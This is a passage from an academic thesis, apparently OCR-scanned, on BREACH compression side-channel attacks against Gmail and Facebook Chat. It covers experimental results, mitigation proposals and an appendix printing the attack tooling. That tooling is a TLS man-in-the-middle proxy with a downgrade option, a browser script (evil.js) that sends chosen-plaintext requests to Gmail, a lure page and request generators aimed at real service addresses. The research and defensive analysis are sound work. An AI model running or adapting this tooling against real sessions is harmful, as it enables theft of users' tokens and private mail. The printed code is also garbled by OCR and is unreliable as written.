erations that each choice showed minimum mean length. Each attempt on each stage
ended when either half of the alphabet gathered 2000 points, therefore a total of 4000
requests was issued in each case, with a time interval of 4 seconds between consecu-
tive requests. Therefore, the total amount of time theoretically needed for the comple-
tion of the attack to steal one character of the token is 4000 x4 x 7« 6 = 672000 seconds,
which is roughly 7 days.

The result of this experiment could be summarized in the following chart:

Gmail Parallel Attack

4
3
1 I I
]

1 2 3 4 5 6

Stage of Parallelization

Successful attempts

W Correct aphabet W Incorrect alphabet

Figure 6.3: Successful attempts for each alphabet during parallelization.

Each stage of the parallel attack resulted in a correct choice of alphabet ultimately
leading to a successful guess on the first character of the token. However, the correct
alphabet was not successful in each attempt for all stages of the attack but only some.
In other stages the incorrect alphabet performed better in up to 3 attempts presenting
a very small advantage for the correct alphabet. However, even in that worst case
scenario, the correct alphabet presented almost 60% chance to be chosen.

In light of these findings, we can safely assume that Gmail is also not IND-PCPA. An
adversary that uses the proposed attack mechanism has a notable advantage in cor-
rectly guessing each character of the authentication token.

Hill-climbing parallelization resulted in a notable reduction of requests needed com-
pared to the serial method and consequently a reduction of the total time of execution.
Also since Gmail authentication tokens are renewed every time the user logs in the ac-
count the secret is less likely to be modified compared to Facebook Chat messages.
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However, even after these advantages the attack could not be described as a real-
world threat, since for a 20-character token 7 x 20 = 140 days are needed, which is a
very long period of time for the attack assumptions to be met.
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Chapter 7

Mitigation techniques

This paper focused so far on the foundation and expansion of the attack. In this chap-
ter we investigate several mitigation techniques. We examine the methods proposed
by Gluck, Harris and Prado in the original paper under the new findings that were
described in previous chapters. Finally we propose novel mitigation techniques that
either limit the scope of the attack or eliminate it completely.

7.1 Original mitigation tactics

The original BREACH paper [10] included several tactics for mitigating the attack. In
the following sections we will investigate them one by one to find if they can still be
applied.

7.1.1 Length hiding

The first proposed method is an attempt to hide the length information from the at-
tacker. This can be done by adding a random amount of random data to the end of the
data stream for each response.

As stated in the BREACH paper this method affects the attack efficiency only slightly.
Since the standard error of mean is inversely proportional to v/ N, where N is the num-
ber of repeated requests the attacker makes for each guess, the attacker can deduce
the true length with a few hundred or thousand requests.

In this paper we have described how repeated requests can lead to such bypassing of
the noise as described in Section 5.1. Experimental results have also shown that for
the endpoints tested it is possible to perform the attack under certain circumstances
despite of noise.

7.1.2 Separating Secrets from User Input

This approach states that user input and secrets are put in a completely different com-
pression context. Although this approach might work when the secret is clearly dis-
tinct it does not apply universally.

In this work we were able to defeat this mitigation measure by introducing alternative
secrets. As described in Sections 4.2.1 and 4.2.3, user input and secrets are sometimes
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one and the same. In the case of Facebook chat the attacker can use as the chosen
plaintext private messages and in the case of Gmail private mails.

In such cases the secret and the attacker’s chosen plaintext are indistinguishable, mak-
ing this mitigation technique inapplicable.

7.1.3 Disabling Compression

This paper focuses on attacks on encrypted compressed protocols. Since encryption
poses the vulnerability that is exploited, disabling it at the HTTP level would result in
total defeat of the attack.

However, such solution would have drastic impact on the performance of web appli-
cations. An example on Facebook shows that a regular empty search result response
page from a minimal account takes up to 12 kilobytes if compressed, opposed to 46
kilobytes as raw plaintext. It is obvious that the trade-off is too much to handle espe-
cially for large websites that serve tens of thousands of user requests per second.

7.1.4 Masking Secrets

The attacks investigated are based on the fact that the secret remains the same be-
tween different requests. This mitigation method introduces a one-time pad P that
would be XOR-ed with the secret and concatenated to the result as: P||(P & 5).

As we have found Facebook uses this method in order to mask its CSRF tokens. This
successfully stops the attack from being able to steal this secret.

However, we have shown that many more secrets other than CSRF tokens exist and
would need to be masked in order to completely mitigate the attack. Since masking
doubles the length of every secret while also making the secret not compressible due
to the increase in entropy, the implementation of this method would result in major
loss of compressibility and as a result performance.

7.1.5 Request Rate-Limiting and Monitoring

The attack requires a large amount of requests toward the chosen endpoint, especially
against block ciphers. In order for it to give results in a reasonable amount of time
these requests would need to be made in a short period. In such case if the endpoint
monitors the traffic from and to a specific user and limits the requests to a certain
amount for a specified time window it would slow down the attack significantly.

However, this method also does not come without cost. Rate limiting provides a half-
measure against the attack since it only introduces a delay without defeating it com-
pletely. When more optimization techniques are proposed, like the ones described in
Section 5.2, this delay would prove to be of little help.
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7.1.6 More Aggressive CSRF Protection

As the original BREACH paper stated, "requiring a valid CSRF token for all requests
that reflect user input would defeat the attack”.

While this is true for CSRF tokens, we have showed that alternative secrets that cannot
be distinguished from user input could still be compromised.

7.2 Novel mitigation techniques

In this section we propose several potentially stronger mitigation techniques, that
have not been introduced in literature so far.

7.2.1 Compressibility annotation

As described in Section 7.1.2 a mitigation technique could involve different compres-
sion implementations for secrets and user input. Although this solution does not ap-
ply for all kinds of secrets, it could be effective for most commonly and easily attacked
ones such as CSRF tokens.

Our proposition is that web servers and web application servers cooperate to indi-
cate which portions of data must not be compressed. Application servers should be
parameterized by the administrator in order to annotate each response to the web
server.

Annotation would then indicate where secrets are located and where a reflection
could be located. The annotation syntax could include HTML tags that describe the
functionality of each data portion in the body of the response, a deployment descrip-
tor, such as web.xml used in Java applications, or a new special format.

The annotated response from the application server would then be interpreted by the
web server that would change its compression behavior accordingly. Specifically the
server could disable compression of either reflections, secrets or both, sending them
always as literals. In the case of BREACH, disabling the LZ77 stage of compression
would also be sufficient, since the functionality of this algorithm is the one exploited
in such attacks whereas Huffman does more harm than good.

Furthermore, this functionality should be implemented separately in every web frame-
work, such as Django!, Ruby on Rails? or Laravel®, as well as web servers, such as
Apache? or Nginx®. In each framework a module should be created that handles the
annotation on either side of the communication.

! https://www.djangoproject.com
2 http: //rubyonrails.org

3 http://laravel.com

4 http://httpd.apache. org

S http://nginx.org
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7.2.2 SOS headers

Storage Origin Security (SOS) is a policy proposed by Mike Shema and Vaagn Toukhar-
ian in their 2013 Black Hat presentation Dissecting CSRF Attacks & Defenses [13].
Its intended purpose is to counter CSRF attacks, although a side-effect would be the
mitigation of attacks such as BREACH.

SOS applies on cookies and defines whether a browser should include each cookie
during cross-origin requests or not. This definition is included in the Content-Security-
Policy response header of a web application in a form that sets a SOS policy for each
cookie.

The policies applied are any, self, isolate. Any States that the cookie should be in-
cluded in the cross-origin requests after a pre-flight request is made to check for an
exception to the policy. This is the behaviour browsers demonstrate as of today. Self
states that the cookie should not be included, although again a pre-flight request is
issued to check for exceptions. Isolate states that the cookie should not be included
in any case and no pre-flight request should be made.

Pre-flight requests are already used extensively under the cross-origin resource shar-
ing (CORS)® standard. This mechanism describes HTTP headers that allow browsers
to request remote URLs only if they have permission. The browser sends a request
that contains an Origin HTTP header to which the server responds with a list of ori-
gin sites that are allowed to access the content or an error page in case cross-origin is
prohibited.

SOS policy introduces an Access-Control-S0S header which contains a list of cookies
that the browser needs to confirm before including them in the request. The server
could then respond with an Access-Control-S0S-Reply header thatinstructs the browser
to allow or deny all of the cookies mentioned in the request header, as well as a time-
out period for the browser to apply this new policy. In absence of such a reply header
the browser may apply the default policy of each cookie instead.

BREACH relies on cross-origin requests in order for the attacker to insert a chosen
plaintext in the body of a response from a chosen endpoint. The introduction of SOS
headers would effectively stop BREACH and similar future attacks that exploit this
aspect of web communications.

If SOS method were to be applied, websites could apply strict policies as to which ori-
gins could access which data and under which context. As long as websites integrate
HTTP Strict Transport Security (HSTS)’, malicious script injection as described in Sec-
tion 4.1.4 would be counter-measured. Combined with SOS headers, a malicious web-
site controlled by the attacker could be disallowed from issuing requests including
the victim’s cookies, resulting in practical mitigation against side-channel compres-
sion attacks such as BREACH.

For more information regarding SOS headers we refer to the Black Hat presenta-
tion slides & and video %, as well as an extended blog post on the proposall®. Also

® https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
8 https://deadliestwebattacks.files.wordpress.com/2013/08/bhus_2013_shema_toukharian.pdf
¥ https://www.youtube. com/watch?v=JUY4DQZ0204

19 geadliestwebattacks.com/2013/08/08/and-they-have-a-plan/

64


https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
https://deadliestwebattacks.files.wordpress.com/2013/08/bhus_2013_shema_toukharian.pdf
https://www.youtube.com/watch?v=JUY4DQZ02o4
deadliestwebattacks.com/2013/08/08/and-they-have-a-plan/

there is a discussion thread in the mailing list of W3C Web Application Security Work-
ing Group!!, regarding the implementation of SOS headers as a standard in modern
browsers.

" http://lists.w3.org/Archives/Public/public-webappsec/2013Aug/0037 .html
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Chapter 8

Conclusion

8.1 Concluding remarks

Attacks on encrypted protocols that exploit compression methods applied on the plain-
text handled by those protocols have only recently been described. Literature so far
shows limited theoretical definitions of this new type of attacks, while experimental
results relate to a relatively small scope of protocols used nowadays.

This work focused on assessing the threat of such attacks for widely used protocols by
expanding the theoretical definition and investigated the success of methods designed
for mitigation.

We introduced a cryptographical game for determining the property of indistinguisha-
bility under partially chosen plaintext attacks. Also we provided intuitive proofs for
comparison to other indistinguishability properties, along with scenarios of applica-
tion of partially chosen plaintext attacks on compressed encrypted protocols.

The need for practical description of our method resulted in the definition of an attack
model based on BREACH that initiates, automates and validates the attack. We also
revealed major vulnerabilities on the two systems that we experimented on, Facebook
Chat and Gmalil, introducing new forms of secrets and chosen plaintext an attacker
could use.

We expanded the scope of the attack to block ciphers and we ulitized various statistical
methods that bypass known obstacles such as noise and padding. Furthermore we
proposed various optimization techniques that could reduce the time and increase
the efficiency of the attack posing a valid threat for real-world systems.

In order to perform experiments and validate the efficiency of the attack, we imple-
mented a framework in Python that initiates the attack on a chosen endpoint and
parses the output in order to produce statistical results. From an attacker’s perspec-
tive, the framework must run on a machine inside the victim’s network, while the
victim’s machine is configured to send all traffic to the endpoint to the attacker’s ma-
chine and the victim also browses a website controlled by the attacker.

Experimental results have shown that although the framework does not provide a
robust functionality, the attacker has a considerable advantage on stealing a secret
from the endpoints tested.

Finally we investigated the ability of previously proposed mitigation techniques to
stop the attack and proposed novel methods that could effectively minimize the at-
tack’s success or even mitigate it completely.
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8.2 Future Work

Although this work introduced the IND-PCPA property, formal definitions and mathe-
matical description is still necessary. Also this new property should be formally eval-
uated compared to other known properties.

As far as the practical part of the attack, a consistency mechanism as described in
Section 4.1.4 isneeded in order to take full advantage of vulnerabilities of simple HTTP
connections. Furthermore the integration of MitM attacks, like the ones referenced
in Section 2.4, would result in a potential threat outside lab environment. It is also
important to implement a MitM proxy on TCP level that would be able to distinguish
packets of different records, minimizing the margin of error for overlapping response
or request streams.

Finally implementation of the two proposed mitigation techniques, compressibility
annotation [7.2.1] and SOS headers [7.2.2], is vital in order to secure systems against
attacks that utilize the findings of this work.
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Chapter 9

Appendix

9.1 Man-in-the-Middle module

import socket

import select

import logging

import binascii

from os import system, path

import sys

import signal

from iolibrary import kill_signal_handler, get_arguments_dict,
setup_logger

import constants

signal.signal(signal.SIGINT, kill_signal_handler)

class Connector():

Class that handles the network connection for breach.

def __init__(self, args_dict):

Initialize loggers and arguments dictionary.
L)
self.args_dict = args_dict
if 'full_logger' not in args_dict:
if args_dict['verbose'] < 4:

setup_logger ('full_logger', 'full_breach.log', args_dict,
logging.ERROR)
else:
setup_logger ('full_logger', 'full_breach.log', args_dict)

self.full_logger = logging.getLogger('full_logger"')
self.args_dict['full_logger'] = self.full_logger
else:
self.full_logger = args_dict['full_logger']
if 'basic_logger' not in args_dict:
if args_dict['verbose'] < 3:

setup_logger ('basic_logger', 'basic_breach.log',
args_dict, logging.ERROR)
else:
setup_logger ('basic_logger', 'basic_breach.log',

args_dict)
self .basic_logger = logging.getLogger ('basic_logger')
self.args_dict['basic_logger'] = self.basic_logger
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else:

self .basic_logger = args_dict['basic_logger ']
if 'debug_logger' not in args_dict:

if args_dict['verbose'] < 2:

setup_logger ('debug_logger', 'debug.log', args_dict,
logging.ERROR)
else:
setup_logger ('debug_logger', 'debug.log', args_dict)

self.debug_logger = logging.getLogger ('debug_logger')
self.args_dict['debug_logger'] = self.debug_logger
else:
self .debug_logger = args_dict['debug_logger ']
return

def log_data(self, data):

Print hexadecimal and ASCII representation of data
L)

pad = 0

output = []

buff = '' # Buffer of 16 chars

for i in xrange(0, len(data), constants.LOG_BUFFER):
buff = datal[i:i+constants.LOG_BUFFER]
hex binascii.hexlify(buff) # Hex representation of data
pad 32 - len(hex)
txt = '' # ASCII representation of data
for ch in buff:
if ord(ch)>126 or ord(ch)<33:
txt = txt + '.'

else:
txt = txt + chr(ord(ch))
output.append ('%2d\t %s%s\t %s' % (i, hex, padx*' ', txt))

return '\n'.join(output)

def parse(self, data, past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, is_response = False):

Parse data and print header information and payload.
lg = ['\n']
downgrade = False
# Check for defragmentation between packets
if is_response:
# Check if TLS record header was chunked between packets and
append it to the beginning
if chunked_endpoint_header:
data = chunked_endpoint_header + data
chunked_endpoint_header = None
# Check if there are any remaining bytes from previous record
if past_bytes_endpoint:
lg.append('Data from previous TLS record: Endpoint\n')
if past_bytes_endpoint >= len(data):
lg.append(self.log_data(data))
lg.append('\n')
past_bytes_endpoint = past_bytes_endpoint - len(data)




return ('\n'.join(lg), past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header,
downgrade)

else:

lg.append(self.log_data(data[0:past_bytes_endpoint]))

lg.append('\n")

data = datal[past_bytes_endpoint:]

past_bytes_endpoint = 0

else:
if chunked_user_header:
data = chunked_user_header + data
chunked_user_header = None

if past_bytes_user:
lg.append('Data from previous TLS record: User\n')
if past_bytes_user >= len(data):
lg.append(self.log_data(data))
lg.append('\n")
past_bytes_user = past_bytes_user - len(data)
return ('\n'.join(lg), past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header,
downgrade)
else:
lg.append(self.log_data(data[0:past_bytes_user]))
lg.append('\n')
data = datal[past_bytes_user:]
past_bytes_user = 0

try:
cont_type = ord(datalconstants.TLS_CONTENT_TYPE])
version = (ord(datal[constants.TLS_VERSION_MAJOR]), ord(datal
constants.TLS_VERSION_MINOR]))
length = 256xord(datalconstants.TLS_LENGTH_MAJOR]) + ord(data
[constants.TLS_LENGTH_MINOR])
except Exception as exc:
self.full_logger.debug('Only %d remaining for next record,
TLS header gets chunked' 7 len(data))
self.full_logger.debug(exc)
if is_response:
chunked_endpoint_header = data
else:
chunked_user_header = data
return ('', past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, downgrade)

if is_response:
if cont_type in constants.TLS_CONTENT:
self .basic_logger.debug('Endpoint %s Length: %d'
% (constants.TLS_CONTENT [cont_typel, length))
if cont_type == 23:
with open('out.out', 'a') as f:
f.write('Endpoint application payload
%#d\n' % length)
f.close()
else:
self .basic_logger.debug('Unassigned Content Type
record (len = %d)' % len(data))
lg.append ('Source : Endpoint')
else:
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if cont_type in constants.TLS_CONTENT:
self .basic_logger.debug('User %s Length: %d' % (
constants.TLS_CONTENT [cont_typel, length))
if cont_type == 22:
if ord(datal[constants.MAX_TLS_POSITION])
> constants.MAX_TLS_ALLOWED:

downgrade = True
if cont_type == 23:
with open('out.out', 'a') as f:

f.write('User application payload: %d
\n' % length)
f.close()
else:
self .basic_logger.debug('Unassigned Content Type
record (len = %d)' % len(data))
lg.append('Source : User')

try:
lg.append('Content Type : ' + constants.TLS_CONTENT [cont_type
D
except:
lg.append('Content Type: Unassigned %d' % cont_type)
try:
lg.append ('TLS Version : ' + constants.TLS_VERSION[(version
(0], version[1])1)
except:
lg.append ('TLS Version: Uknown %d %d' % (version[0], version
(11>

lg.append ('TLS Payload Length: %d' % length)
lg.append (' (Remaining) Packet Data length: %d\n' % len(data))

# Check if TLS record spans to next TCP segment
if len(data) - constants.TLS_HEADER_LENGTH < length:
if is_response:
past_bytes_endpoint = length + constants.
TLS_HEADER_LENGTH - len(data)
else:
past_bytes_user = length + constants.TLS_HEADER_LENGTH -
len(data)

lg.append(self.log_data(data[0:constants.TLS_HEADER_LENGTH]))
lg.append(self.log_data(datalconstants.TLS_HEADER_LENGTH:
constants.TLS_HEADER_LENGTH+lengthl]))
lg.append('\n")
# Check if packet has more than one TLS records
if length < len(data) - constants.TLS_HEADER_LENGTH:
more_records, past_bytes_endpoint, past_bytes_user,

chunked_endpoint_header, chunked_user_header, _ = self.parse(

data[constants.
TLS_HEADER_LENGTH+1ength:],

past_bytes_endpoint,

past_bytes_user




chunked_endpoint_header,

chunked_user_header,
is_response

)

lg.append(more_records)

return ('\n'.join(lg), past_bytes_endpoint, past_bytes_user,
chunked_endpoint_header, chunked_user_header, downgrade)

def start(self):

L)

Start sockets on user side (proxy as server) and endpoint side (
proxy as client).

self.full_logger.info('Starting Proxy')

try:
self .user_setup ()
self.endpoint_setup ()
except:
pass

self.full_logger.info('Proxy is set up')
return

def restart(self, attempt_counter = 0):

Restart sockets in case of error.
L)

self.full_logger.info('Restarting Proxy')

try:
self.user_socket.close()
self .endpoint_socket.close ()
except:
pass

try:
self .user_setup ()
self.endpoint_setup ()
except:
if attempt_counter < 3:
self.full_logger.debug('Reattempting restart')
self .restart (attempt_counter+1)
else:
self.full_logger.debug('Multiple failed attempts to
restart ')
self.stop(-9)
sys.exit (-1)

self.full_logger.info('Proxy has restarted')
return
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def stop(self, exit_code = 0):

Shutdown sockets and terminate connection.
L)
try:
self.user_connection.close()
self.endpoint_socket.close()
except:
pass
self.full_logger.info('Connection closed')
self .debug_logger.debug('Stopping breach object with code: %d' %
exit_code)
return

def user_setup(self):

Create and configure user side socket.
try:
self.full_logger.info('Setting up user socket')
user_socket = socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
user_socket.setsockopt (socket.SOL_SOCKET, socket.SO_REUSEADDR
, 1) # Set options to reuse socket
user_socket.bind ((constants.USER, constants.USER_PORT))
self.full_logger.info('User socket bind complete')
user_socket.listen (1)
self.full_logger.info('User socket listen complete')

self .user_connection, self.address = user_socket.accept()
self .user_socket = user_socket
self.full_logger.info('User socket is set up')

except:

self.stop(-8)
sys.exit (-1)
return

def endpoint_setup(self):

Create and configure endpoint side socket
try:
self.full_logger.info('Setting up endpoint socket')
endpoint_socket = socket.socket(socket.AF_INET, socket.
SOCK_STREAM)
self.full_logger.info('Connecting endpoint socket')
endpoint_socket.connect((constants.ENDPOINT, constants.
ENDPOINT_PORT))
endpoint_socket.setblocking(0) # Set non-blocking, i.e. raise
exception if send/recv is not completed

self.endpoint_socket = endpoint_socket
self.full_logger.info('Endpoint socket is set up')
except:

self.stop(-7)
sys.exit (-1)
return

def execute_breach(self):




Start proxy and execute main loop

L)

# Initialize parameters for execution.

past_bytes_user = 0 # Number of bytes expanding to future user
packets

past_bytes_endpoint
endpoint packets

chunked_user_header = None # TLS user header portion that gets
stuck between packets

chunked_endpoint_header = None # TLS endpoint header portion that

gets stuck between packets

0O # Number of bytes expanding to future

self.start ()
self.full_logger.info('Starting main proxy loop')

try:
while 1:
ready_to_read, ready_to_write, in_error = select.select(
[
self .user_connection, self.endpoint_socket],
(1,
1,
5
)

if self.user_connection in ready_to_read: # If user side
socket is ready to read...

data = ''
try:
data = self.user_connection.recv(constants.
SOCKET_BUFFER) # ...receive data from user...

except Exception as exc:
self.full_logger.debug('User connection error

)
self.full_logger.debug(exc)
self.stop(-6)
break
if len(data) == 0:
self.full_logger.info('User connection
closed')

self.stop(-5)

else:
self .basic_logger.debug('User Packet

Length: %d' % len(data))

output, past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header,
downgrade = self.parse(

data,

past_bytes_endpoint,
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past_bytes_user,

chunked_endpoint_header,

chunked_user_header

) # ...parse it...
self.full_logger.debug(output)
try:
if downgrade and constants.
ATTEMPT_DOWNGRADE:
alert = 'HANDSHAKE_FAILURE'
output, _, , s , _ = self.

parse (
constants.ALERT_MESSAGES [alert],
past_bytes_endpoint,
past_bytes_user,

True

self.full_logger.debug('\n\n'
+ 'Downgrade Attempt' + output)
self.user_connection.sendall(
constants.ALERT_MESSAGES [alert]) # if we are trying to downgrade, send
fatal alert to user
continue
self.endpoint_socket.sendall(data) #
...and send it to endpoint
except Exception as exc:
self.full_logger.debug('User data
forwarding error')
self.full_logger.debug(exc)
self.stop(-4)
break

if self.endpoint_socket in ready_to_read: # Same for the
endpoint side
data = ''

try:
data = self.endpoint_socket.recv(constants.
SOCKET_BUFFER)
except Exception as exc:
self.full_logger.debug('Endpoint connection
error ')
self.full_logger.debug(exc)
self .stop(-3)
break




if len(data) == O0:
self.full_logger.info ('Endpoint
connection closed')
self .stop(5)
break
else:
self .basic_logger.debug('Endpoint Packet
Length: %d' % len(data))
output, past_bytes_endpoint,
past_bytes_user, chunked_endpoint_header, chunked_user_header, _ =
self .parse(

data
past_bytes_endpoint,
past_bytes_user,
chunked_endpoint_header,
chunked_user_header,
True

self.full_logger.debug(output)
try:
self.user_connection.sendall (data)
except Exception as exc:
self.full_logger.debug('Endpoint data
forwarding error')
self.full_logger.debug(exc)
self.stop(-2)

break
except Exception as e:
self.stop(-1)
return
if _ _name__ == '__main__':
args_dict = get_arguments_dict(sys.argv)
conn = Connector (args_dict)

conn.full_logger.info('Hillclimbing parameters file created')
conn.execute_breach ()

Listing 9.1: connect.py

9.2 Constants library

’import binascii
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# TLS Header

TLS_HEADER_LENGTH
TLS_CONTENT_TYPE
TLS_VERSION_MAJOR =
TLS_VERSION_MINOR =
TLS_LENGTH_MAJOR
TLS_LENGTH_MINOR

# TLS Content Types
TLS_CHANGE_CIPHER_S
TLS_ALERT 21
TLS_HANDSHAKE 22
TLS_APPLICATION_DAT
TLS_HEARTBEAT = 24
TLS_CONTENT {
TLS_CHANGE_
TLS_ALERT:
TLS_HANDSHA
TLS_APPLICA

5
0

1

2
3
4

PEC 20

A 23

CIPHER_SPEC:
"Alert (21)",
KE: "Handshake (22)",

TION_DATA: "Application Data (23)",

"Change cipher spec (200",

TLS_HEARTBEAT: "Heartbeat (24)"
}
TLS_VERSION = {
(3, 0): "ssL 3.0",
(3, 1): "TLS 1.0",
(3, 2): "TLS 1.1",
(3, 3): "TLS 1.2"
}
# TLS Alert messages
ALERT_HEADER = "1503010002"

ALERT _MESSAGES {
'"CLOSE_NOTIFY' binascii.unhexlify (ALERT_HEADER + "0200"),
'UNEXPECTED MESSAGE' binascii.unhexlify (ALERT_HEADER + "020

A"),
'DECRYPTION_FAILED' binascii.unhexlify (ALERT_HEADER +
||0217n> s
'HANDSHAKE_FAILURE' binascii.unhexlify (ALERT_HEADER +
"0228"),
'ILLEGAL_PARAMETER' binascii.unhexlify (ALERT_HEADER + "022F
oF
'ACCESS_DENIED' binascii.unhex1lify (ALERT_HEADER + "0231"),
'DECODE_ERROR' binascii.unhexlify (ALERT_HEADER + "0232"),
'DECRYPT_ERROR' binascii.unhexlify (ALERT_HEADER + "0233"),
'PROTOCOL_VERSION' binascii.unhexlify (ALERT_HEADER +
"0246")
}
# Ports and nodes
USER = "" # Listen requests from everyone
USER_PORT = 443
#ENDPOINT = "31.13.93.3" # touch.facebook.com
ENDPOINT = "216.58.208.101" # mail.google.com
ENDPOINT_PORT = 443
# Buffers
SOCKET_BUFFER = 4096
LOG_BUFFER = 16
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# Downgrade

ATTEMPT_DOWNGRADE = False

MAX_TLS_POSITION = 10 # Iceweasel's max tls version byte position in
Client Hello message

MAX_TLS_ALLOWED = 1

# Possible alphabets of secret

DIGIT = [IOI’ L L R s L A N L |7|’ '8!, |9|]

LOWERCASE = [Ial, 'b', ICI, ldl’ |e|, lfl’ |g|’ lhl’ 'i', ljl, 'k',
|m|, |n|’ 'O', 'Pl, |q|, 'r', 'S', 't', |u|’ Tyt 'W', 'X', |y|

UPPERCASE = [IAI’ 'B', 'C', le’ 'E', 'F', 'G', 'H', 'I', 'J', 'K',

IMI’ INI’ IDI, IPI, IQI’ IRI, ISI, ITI’ IUI, IVI’ le, IXI’ IYI,
DASH = [I_l’ l_l]
# Random nonces
NONCE_1 = 'ladbfsk!'
NONCE_2 = 'znq'

# Point systems for various methods, used in parse.py
SERIAL_POINT_SYSTEM = {1: 20, 2: 16, 3: 12, 4: 10, 5: 8, 6: 6, 7: 4,
3, 9: 2, 10: 1}
PARALLEL_POINT_SYSTEM = {0: 1}
POINT_SYSTEM_MAPPING = {
's': SERIAL_POINT_SYSTEM,
'p': PARALLEL_POINT_SYSTEM

Listing 9.2: constants.py

9.3 Downgrade attempt log

INFO:__main__:Starting Proxy

INFO:__main__:Setting up user socket
INFO:__main__:User socket bind complete
INFO:__main__:User socket listen complete
INFO:__main__:User socket is set up
INFO:__main__:Setting up endpoint socket
INFO:__main__:Connecting endpoint socket
INFO:__main__:Endpoint socket is set up
INFO: __main__:Proxy is set up

INFO: __main__:Starting main proxy loop
DEBUG: __main__

Source : User

Content Type : Handshake (22)
TLS Version : TLS 1.0

Payload Length: 180

Packet Data length: 185

0 16030100b4 L.

0 010000b0030371b5b4801c7d84a6d75d ...... q.---F...]
16 3001557b447d386bad8641488401d895 0.U{D}8k..AH....
32 251d9b094d£f700002ec02bc02fc00acO0 %...M..... +./...
48 09c013c014c012c007c0110033003200 ............ 3.2.
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64 450039003800880016002£0041003500 E.9.8..... /.
80 84000a00050004010000590000001700 .......... Y.

96 15000012746£7563682e66616365626f ....touch.facebo

112 6£f6b2e636£f6dff01000100000a000800 ok.com......
128 06001700180019000b00020100002300 ............
144 0033740000000500050100000000000d .3t.........
160 00120010040105010201040305030203 ............
176 04020202

DEBUG: __main__:Downgrade Attempt
DEBUG: __main__

Source : Endpoint

Content Type : Alert (21)
TLS Version : TLS 1.0
Payload Length: 2

Packet Data length: 7

0 1503010002 L.
0 0228 . (

INFO:__main__:User connection closed
INFO: __main__:Restarting Proxy

INFO: __main__:Setting up user socket
INFO:__main__:User socket bind complete
INFO:__main__:User socket listen complete
INFO:__main__:User socket is set up
INFO:__main__:Setting up endpoint socket
INFO: __main__:Connecting endpoint socket
INFO:__main__:Endpoint socket is set up
INFO:__main__:Proxy has restarted

DEBUG: __main__

Source : User

Content Type : Handshake (22)
TLS Version : TLS 1.0

Payload Length: 156

Packet Data length: 161

0 160301009¢ Lol

0 0100009803014fedeb33f1b91a9b9186 ...... 0..3..
16 a8148766eb3f14ec43a2f7194bbc7666 ...f.7..C...
32 b8bab6aeb085c00002c5600c00ac009¢c0 ..j..\..,V..
48 13c014c012c007c01100330032004500 .......... 3.

64 39003800880016002£00410035008400 9.8..... /.A.

80 0a000500040100004300000017001500 ........ C...

96 0012746£7563682e66616365626£f6f6b ..touch.facebook

112 2e636£6d4df£01000100000a0008000600 .com........
128 1700180019000b000201000023000033 ............
144 740000000500050100000000 toooo oo

DEBUG: __main__

Source : Endpoint
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Content Type : Alert (21)
TLS Version : TLS 1.0
Payload Length: 2

Packet Data length: 7

0 1503010002 ...

0 0256 .V
INFO:__main__:Endpoint connection closed
INFO: __main__:Restarting Proxy
INFO:__main__:Setting up user socket
INFO:__main__:User socket bind complete
INFO:__main__:User socket listen complete

Listing 9.3: downgrade.log

9.4 BREACH JavaScript

function compare_arrays(array_1 = [], array_2 = []) {
if (array_1.length != array_2.length)
return false;
for (var i=0; i<array_1.length; i++)
if (array_1[i] != array_2[i])
return false;
return true;

}

function makeRequest(iterator = 0, total = 0, alphabet = [], ref = "",

timeout = 4000) {
jQuery.get ("request.txt") .done(function(data) {
var input = data.split('\n');
if (input.length < 2) {
setTimeout (function() {
makeRequest (0, total, alphabet, ref)

}, 10000);
return;
}
var new_ref = input[0];

var new_alphabet = input[1].split(',');

if (!compare_arrays(alphabet, new_alphabet) || ref != new_ref) {

setTimeout (function () {
makeRequest (0, total, new_alphabet, new_ref);
}, 10000);
return;
}
var search = alphabet[iterator];
var request = "https://mail.google.com/mail/u/0/x/7s=q&q=" +
search;
var img new Image();
img.src = request;
iterator = iterator >= alphabet.length - 1 ? 0 : ++iterator;
setTimeout (function () {
makeRequest (iterator, total, alphabet, ref);
}, timeout);
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}) .fail(function() {
setTimeout (makeRequest (), 10000);
return

s

return;

}

makeRequest () ;

Listing 9.4: evil.js

9.5 Minimal HTML web page

<html>

<head>

<script src="jquery.js"></script>

<script src="evil.js" type="text/javascript"></script>
</head>

<body>

Please wait a moment...

</body>

</html>

Listing 9.5: HTML page that includes BREACH js

9.6 Request initialization module

import sys
from iolibrary import get_arguments_dict
from constants import DIGIT, LOWERCASE, UPPERCASE, DASH, NONCE_1,

def create_alphabet (alpha_types):

[ ]

Create array with the alphabet we are testing.
assert alpha_types, 'Empty argument for alphabet types'
alphabet = []
for t in alpha_types:
if t == 'n':
for i in DIGIT:
alphabet.append (i)

if t == '1"':
for i in LOWERCASE:
alphabet.append (i)
if t == 'u':
for i in UPPERCASE:
alphabet.append (i)
if t == 'd':

for i in DASH:
alphabet.append (i)
assert alphabet, 'Invalid alphabet types'
return alphabet
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def huffman_point (alphabet, test_points):

L]
Use Huffman fixed point.
[

huffman = ''

for alpha_item in enumerate(alphabet):
if alpha_item[1] not in test_points:
huffman = huffman + alpha_item[1] + '_'
return huffman

def serial_execution(alphabet, prefix):

Create request list for serial method.

global reflection_alphabet

req_list = []

for i in xrange(len(alphabet)):
huffman = huffman_point (alphabet, [alphabet[il]])
req_list.append(huffman + prefix + alphabet[i])

reflection_alphabet = alphabet

return req_1list

def parallel_execution(alphabet, prefix):

Create request list for parallel method.
global reflection_alphabet
if len(alphabet) % 2:
alphabet.append ('~ ")
first_half = alphabet[::2]
first_huffman = huffman_point (alphabet, first_half)
second_half = alphabet[1::2]
second_huffman = huffman_point (alphabet, second_half)
head = "'
tail = "'
for i in xrange(len(alphabet)/2):
head = head + prefix + first_half[i] + ' '
tail = tail + prefix + second_half[i] + ' '
reflection_alphabet = [head, tail]
return [first_huffman + head, second_huffman + taill

def create_request_file(args_dict):
[ |

Create the 'request' file used by evil.js to issue the requests.
[ |
method_functions = {'s': serial_execution,

'p': parallel_execution}

prefix = args_dict['prefix']
assert prefix, 'Empty prefix argument'
